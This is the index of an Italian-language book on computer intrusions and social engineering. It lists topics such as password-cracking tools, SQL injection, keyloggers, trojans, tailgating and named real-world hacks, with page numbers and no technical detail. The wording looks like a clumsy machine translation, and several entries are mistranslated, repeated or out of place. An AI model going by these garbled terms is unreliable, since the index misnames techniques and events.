schmoozing staff del casino, 222-223
shoulder surfing, 126-127
psicologia sociale della persuasione, 232

rubare servizi alberghieri, 72-73
l'elaborazione sistematica informazioni, 234-235
tailgating, 121, 132-133, 136
linee guida di formazione, 238-240
programmi di formazione, 240-242
bardature di ruolo, 232-233
nella propria famiglia, 242-244
psicologia sociale di ingegneria sociale
altercasting, 234
attribuzione, 236
lettura a freddo, 236
credibilità, 233
desiderio di aiutare, 235-236
distrarre il bersaglio, 234-235
paura, 237
costringendo il bersaglio in un ruolo, 234
elaborazione delle informazioni euristica, 234-235
simpatia, 236-237
slancio di conformità, 235
persuasione, 232
Reattanza, 237-238
l'elaborazione sistematica informazioni, 234-235
bardature di ruolo, 232-233
Soft Machine bevande hack, 250
software. *Vedere anche* firmware
Informazioni del Registro di dumping, 161
esaminare le connessioni di rete, 161
IDA Pro, 173
Interactive Disassembler, 173
inventario e auditing, 65-66
L0phtCrack, 116, 128-129
LsaDump2, 161
comando netstat, 161
intrusioni di rete, 161-163
Nmap, 199-201
cracking delle password
John the Ripper, 142
L0phtCrack, 116, 128-129
L0phtCrack III, 180
PkCrack, 165-166
Pwddump2, 180
PC Anywhere, 208-211
PkCrack, 165-166
port scanning, 199-201
Proxy server di ricerca, 99
ProxyHunter, 99
Pwddump2, 180
RAT (Remote Access Trojan), 96
Indice

software (*continua*)
controllo remoto di un PC, 208-211
ingegneria codice C inverso Assembler, 173
sniffer
Boeing hack, 28
Trucco università cinese, 26
nascondere, 43
Lockheed Martin Hack, 43
le password, 43
Siprnet hack, 31
comando tracert, 162-163, 198-199
tracciamento pacchetti di rete, 162-163
Trojan, US District Court Hack, 73-74
Query Whois, 110
Spy Lantern Keylogger, 144, 148
SQL attacco iniezione, 173-177
Server SQL, proteggendo, 190-191
firewall di ispezione stateful, 186
Strategie per gli attacchi. *Vedi strategie specifiche*
Mod banca svizzera, 147-148
l'elaborazione sistematica informazioni, 234-235
le attività di gestione del sistema, contromisure cracker,
187-188
tailgating, 121, 132-133, 136
Takedown, 24
ambienti ricchi bersaglio, 63
. telefono di hacking *Vedere* phone hacking; phreaking
intrusioni terroristici
All'indomani, 39-40
all'indomani del 9/11, 34-35
Trucco università cinese, 25-27
contromisure, 44-46
Mod DEM, 27
Indian Airlines dirottamento, 29-30
intuizione, 42-44
Lockheed Martin Hack, 27-28, 42-44
Siprnet incidere, 28-29, 30-32
valutazione della minaccia, 41-42
Casa Bianca rodaggio, 35-39, 43-44
Texas Hold 'Em Hack, 254-255
Texas carcere incidere. *Vedi anche* il carcere
contromisure, 62-66
prigioni federali, 49-51
essere scoperti, 56-59
sfondo di hacker, 59-60
vita dell'hacker dopo il carcere, 60-62
intuizione, 62
la vita in carcere, 49-51
in linea in sicurezza, 53-56
cibo commerciale per attrezzi da computer, 51-52
applicazioni di terze parti, le contromisure di cracker, 190

valutazione della minaccia, intrusioni terroristici, 41-42
Configurazione del dispositivo 3Com, determinando, 200-202
strumenti e utilità. *Vedere* software
comando tracert, 162-163, 198-199
botole. *Vedi* Trojan
bardature di ruolo, 232-233
Trojan, 73-74, 150
due anni di trucco
sballato, 163-164
invito a chiudere, 160-161
il download del codice sorgente, 164-165
Informazioni del Registro di dumping, 161
esaminando la storia di Internet Explorer, 162
di hacking applicazioni target, 161-163
hacking del bersaglio, 159-160
identificare la destinazione, 158-159
noto attacco plaintext, 165-166
cracking delle password, 157-159, 165-166
port scan, 155-157
Recupero delle chiavi di licenza, 161-162
tracciamento pacchetti di rete, 162-163
hardware non autorizzato, 64-65
caricamento su
directory protette, 172
Siti warez, 183
US District Court hack, 71-72, 73-74, 87-88
Distributore automatico hack, 250
Video software di post produzione, hacking, 169-177
Visual SourceSafe, vulnerabilità, 179
voicemail snooping, 122
Servizi VPN, 192
vulnerabilità. *Vedi anche* exploit
Software server Apache, 119
backticked difetto iniezione variabile, 167-168
BIND (Berkeley Internet Name Domain), 43
Citrix Metaframe funzione shadowing, 144, 145
DNS (Domain Name Server), 43
Electronic Attack agli Stati Uniti, 41-42
crittografia, 12-13
Microsoft FrontPage, 172
PHF buco, 120
PHF (Rubrica) script, 43-44
scansione per, CGI (Common Gateway Interface), 43
setup.pl, 167-168
Il sistema operativo Solaris, 119
Visual SourceSafe, 179
computer indossabile, 13-16
Casa Bianca rodaggio, 35-39, 43-44
Query Whois, 110
Whurley, 222-230
Finestre, indurimento, 192-193
Zatko, Pieter (Mudge)

l'attacco, 118-119
fondo, 116
dumpster diving, 118, 120-121
e-mail sniffing, 122
relazione finale, 123-124
blackout fortuito, 121-122
get-out-of-prigione-libera della carta, 118
regole di base, 117-119
incontrare il cliente, 117
NDA (accordi di non divulgazione), 118-119
tailgating, 121
voicemail snooping, 122
exploit zero-day, 45
trasferimento di zona, 111
Zyklon (Burns, Eric), 35-40, 43-44
Indice
270